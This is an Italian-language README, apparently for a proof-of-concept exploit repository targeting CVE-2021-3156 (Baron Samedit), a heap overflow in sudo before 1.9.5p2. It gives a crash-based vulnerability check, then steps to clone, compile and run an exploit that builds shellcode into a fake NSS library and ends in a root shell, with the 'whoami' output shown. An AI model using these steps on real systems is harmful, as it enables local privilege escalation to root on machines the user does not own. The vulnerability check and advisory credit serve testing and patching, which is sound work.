
Proof-of-concept exploit per CVE-2021-3156, un overflow del buffer heap in sudo precedente alla versione 1.9.5p2, che consente l'escalation dei privilegi a root tramite sudoedit -s.
Sudo prima della versione 1.9.5p2 contiene un errore off-by-one che può causare un overflow del buffer basato su heap, consentendo l'escalation dei privilegi a root tramite sudoedit -s e un argomento della riga di comando che termina con un singolo carattere backslash.
Crediti: Advisory di Baron Samedit di Qualys
Il progetto sudo ha rilasciato un comando che permette di testare se la propria versione di sudo è vulnerabile:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
Se si riceve un messaggio di utilizzo o di errore, sudo non è vulnerabile. Se il risultato è un Segmentation fault, sudo è vulnerabile.
Root shell PoC per CVE-2021-3156 (nessun bruteforce) Testato su Ubuntu 20.04 (sudo 1.8.31)
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root